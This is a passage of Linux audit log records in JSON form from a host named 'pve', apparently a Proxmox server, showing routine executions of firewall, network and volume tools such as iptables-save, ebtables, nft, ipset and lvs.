msg=audit(1781964405.660:60885): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405660,"@rawstring":"node=pve type=PATH msg=audit(1781964405.660:60885): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405655,"@rawstring":"node=pve type=PATH msg=audit(1781964405.655:60884): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405655,"@rawstring":"node=pve type=PATH msg=audit(1781964405.655:60884): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405648,"@rawstring":"node=pve type=PATH msg=audit(1781964405.648:60883): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405648,"@rawstring":"node=pve type=PATH msg=audit(1781964405.648:60883): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405642,"@rawstring":"node=pve type=PATH msg=audit(1781964405.642:60882): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405642,"@rawstring":"node=pve type=PATH msg=audit(1781964405.642:60882): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405639,"@rawstring":"node=pve type=PATH msg=audit(1781964405.639:60881): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405639,"@rawstring":"node=pve type=PATH msg=audit(1781964405.639:60881): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405636,"@rawstring":"node=pve type=PATH msg=audit(1781964405.636:60880): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405636,"@rawstring":"node=pve type=PATH msg=audit(1781964405.636:60880): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405635,"@rawstring":"node=pve type=PATH msg=audit(1781964405.635:60879): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405635,"@rawstring":"node=pve type=PATH msg=audit(1781964405.635:60879): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405635,"@rawstring":"node=pve type=PATH msg=audit(1781964405.635:60878): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405631,"@rawstring":"node=pve type=PATH msg=audit(1781964405.631:60877): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405631,"@rawstring":"node=pve type=PATH msg=audit(1781964405.631:60877): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405631,"@rawstring":"node=pve type=PATH msg=audit(1781964405.631:60877): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405625,"@rawstring":"node=pve type=PATH msg=audit(1781964405.625:60876): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405625,"@rawstring":"node=pve type=PATH msg=audit(1781964405.625:60876): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405618,"@rawstring":"node=pve type=PATH msg=audit(1781964405.618:60875): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405618,"@rawstring":"node=pve type=PATH msg=audit(1781964405.618:60875): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405613,"@rawstring":"node=pve type=PATH msg=audit(1781964405.613:60874): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405613,"@rawstring":"node=pve type=PATH msg=audit(1781964405.613:60874): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405608,"@rawstring":"node=pve type=PATH msg=audit(1781964405.608:60873): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405608,"@rawstring":"node=pve type=PATH msg=audit(1781964405.608:60873): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405601,"@rawstring":"node=pve type=PATH msg=audit(1781964405.601:60872): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405601,"@rawstring":"node=pve type=PATH msg=audit(1781964405.601:60872): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964404883,"@rawstring":"node=pve type=PATH msg=audit(1781964404.883:60871): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964404883,"@rawstring":"node=pve type=PATH msg=audit(1781964404.883:60871): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964404842,"@rawstring":"node=pve type=PATH msg=audit(1781964404.842:60870): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964404842,"@rawstring":"node=pve type=PATH msg=audit(1781964404.842:60870): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964404242,"@rawstring":"node=pve type=PATH msg=audit(1781964404.242:60869): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964404242,"@rawstring":"node=pve type=PATH msg=audit(1781964404.242:60869): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964404242,"@rawstring":"node=pve type=PATH msg=audit(1781964404.242:60868): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964404242,"@rawstring":"node=pve type=PATH msg=audit(1781964404.242:60867): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964404234,"@rawstring":"node=pve type=PATH msg=audit(1781964404.234:60866): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964404234,"@rawstring":"node=pve type=PATH msg=audit(1781964404.234:60866): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964404234,"@rawstring":"node=pve type=PATH msg=audit(1781964404.234:60865): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964404234,"@rawstring":"node=pve type=PATH msg=audit(1781964404.234:60864): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399689,"@rawstring":"node=pve type=PATH msg=audit(1781964399.689:60863): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399689,"@rawstring":"node=pve type=PATH msg=audit(1781964399.689:60863): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399688,"@rawstring":"node=pve type=PATH msg=audit(1781964399.688:60862): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399688,"@rawstring":"node=pve type=PATH msg=audit(1781964399.688:60862): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399687,"@rawstring":"node=pve type=PATH msg=audit(1781964399.687:60861): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399687,"@rawstring":"node=pve type=PATH msg=audit(1781964399.687:60861): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399225,"@rawstring":"node=pve type=PATH msg=audit(1781964399.225:60860): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399225,"@rawstring":"node=pve type=PATH msg=audit(1781964399.225:60860): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399225,"@rawstring":"node=pve type=PATH msg=audit(1781964399.225:60859): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399225,"@rawstring":"node=pve type=PATH msg=audit(1781964399.225:60858): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399217,"@rawstring":"node=pve type=PATH msg=audit(1781964399.217:60857): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399217,"@rawstring":"node=pve type=PATH msg=audit(1781964399.217:60857): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399217,"@rawstring":"node=pve type=PATH msg=audit(1781964399.217:60856): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964399217,"@rawstring":"node=pve type=PATH msg=audit(1781964399.217:60855): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395591,"@rawstring":"node=pve type=PATH msg=audit(1781964395.591:60854): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395591,"@rawstring":"node=pve type=PATH msg=audit(1781964395.591:60854): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395587,"@rawstring":"node=pve type=PATH msg=audit(1781964395.587:60853): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395587,"@rawstring":"node=pve type=PATH msg=audit(1781964395.587:60853): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395587,"@rawstring":"node=pve type=PATH msg=audit(1781964395.587:60852): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395587,"@rawstring":"node=pve type=PATH msg=audit(1781964395.587:60852): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395587,"@rawstring":"node=pve type=PATH msg=audit(1781964395.587:60851): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395583,"@rawstring":"node=pve type=PATH msg=audit(1781964395.583:60850): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395583,"@rawstring":"node=pve type=PATH msg=audit(1781964395.583:60850): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395583,"@rawstring":"node=pve type=PATH msg=audit(1781964395.583:60850): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395577,"@rawstring":"node=pve type=PATH msg=audit(1781964395.577:60849): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395577,"@rawstring":"node=pve type=PATH msg=audit(1781964395.577:60849): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395570,"@rawstring":"node=pve type=PATH msg=audit(1781964395.570:60848): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395570,"@rawstring":"node=pve type=PATH msg=audit(1781964395.570:60848): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395564,"@rawstring":"node=pve type=PATH msg=audit(1781964395.564:60847): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395564,"@rawstring":"node=pve type=PATH msg=audit(1781964395.564:60847): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395558,"@rawstring":"node=pve type=PATH msg=audit(1781964395.558:60846): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395558,"@rawstring":"node=pve type=PATH msg=audit(1781964395.558:60846): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395552,"@rawstring":"node=pve type=PATH msg=audit(1781964395.552:60844): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395552,"@rawstring":"node=pve type=PATH msg=audit(1781964395.552:60844): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395547,"@rawstring":"node=pve type=PATH msg=audit(1781964395.547:60843): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395547,"@rawstring":"node=pve type=PATH msg=audit(1781964395.547:60843): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395542,"@rawstring":"node=pve type=PATH msg=audit(1781964395.542:60842): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395542,"@rawstring":"node=pve type=PATH msg=audit(1781964395.542:60842): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395538,"@rawstring":"node=pve type=PATH msg=audit(1781964395.538:60841): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395538,"@rawstring":"node=pve type=PATH msg=audit(1781964395.538:60841): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395532,"@rawstring":"node=pve type=PATH msg=audit(1781964395.532:60840): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395532,"@rawstring":"node=pve type=PATH msg=audit(1781964395.532:60840): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395529,"@rawstring":"node=pve type=PATH msg=audit(1781964395.529:60839): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395529,"@rawstring":"node=pve type=PATH msg=audit(1781964395.529:60839): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395522,"@rawstring":"node=pve type=PATH msg=audit(1781964395.522:60838): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395522,"@rawstring":"node=pve type=PATH msg=audit(1781964395.522:60838): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395517,"@rawstring":"node=pve type=PATH msg=audit(1781964395.517:60837): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395517,"@rawstring":"node=pve type=PATH msg=audit(1781964395.517:60837): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395513,"@rawstring":"node=pve type=PATH msg=audit(1781964395.513:60836): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395513,"@rawstring":"node=pve type=PATH msg=audit(1781964395.513:60836): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395510,"@rawstring":"node=pve type=PATH msg=audit(1781964395.510:60835): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395510,"@rawstring":"node=pve type=PATH msg=audit(1781964395.510:60835): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395509,"@rawstring":"node=pve type=PATH msg=audit(1781964395.509:60834): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395509,"@rawstring":"node=pve type=PATH msg=audit(1781964395.509:60834): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964395509,"@rawstring":"node=pve type=PATH msg=audit(1781964395.509:60833): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 